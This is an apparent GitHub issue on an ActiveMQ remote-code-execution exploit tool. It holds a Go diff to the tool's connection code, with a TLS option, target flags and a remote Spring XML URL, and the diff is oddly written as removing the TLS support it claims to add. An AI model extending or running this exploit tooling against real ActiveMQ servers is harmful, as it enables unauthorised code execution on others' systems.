X1r0z/ActiveMQ-RCE

Add TLS support

Closed this issue · 1 comments

Sorry, but I can't push a PR/create branch.

diff --git a/main.go b/main.go
index 686d0c7..d6a944f 100644
--- a/main.go
+++ b/main.go
@@ -1,7 +1,6 @@
 package main
 
 import (
-       "crypto/tls"
        "encoding/hex"
        "flag"
        "fmt"
@@ -12,16 +11,14 @@ import (
 func main() {
 
        var (
-               ip     string
-               port   string
-               url    string
-               useTLS bool
+               ip   string
+               port string
+               url  string
        )
 
        flag.StringVar(&ip, "i", "", "ActiveMQ Server IP or Host")
        flag.StringVar(&port, "p", "61616", "ActiveMQ Server Port")
        flag.StringVar(&url, "u", "", "Spring XML Url")
-       flag.BoolVar(&useTLS, "t", false, "Use TLS for connection")
        flag.Parse()
 
        banner()
@@ -44,23 +41,7 @@ func main() {
        fmt.Println()
        fmt.Println("[*] Sending packet:", payload)
 
-       var conn net.Conn
-       var err error
-
-       if useTLS {
-               conf := &tls.Config{
-                       InsecureSkipVerify: true, // You may want to set this to false in production
-               }
-               conn, err = tls.Dial("tcp", ip+":"+port, conf)
-       } else {
-               conn, err = net.Dial("tcp", ip+":"+port)
-       }
-
-       if err != nil {
-               fmt.Println("Error connecting:", err)
-               return
-       }
-
+       conn, _ := net.Dial("tcp", ip+":"+port)
        conn.Write(data)
        conn.Close()
 }

I've already support it now. Thanks for your code.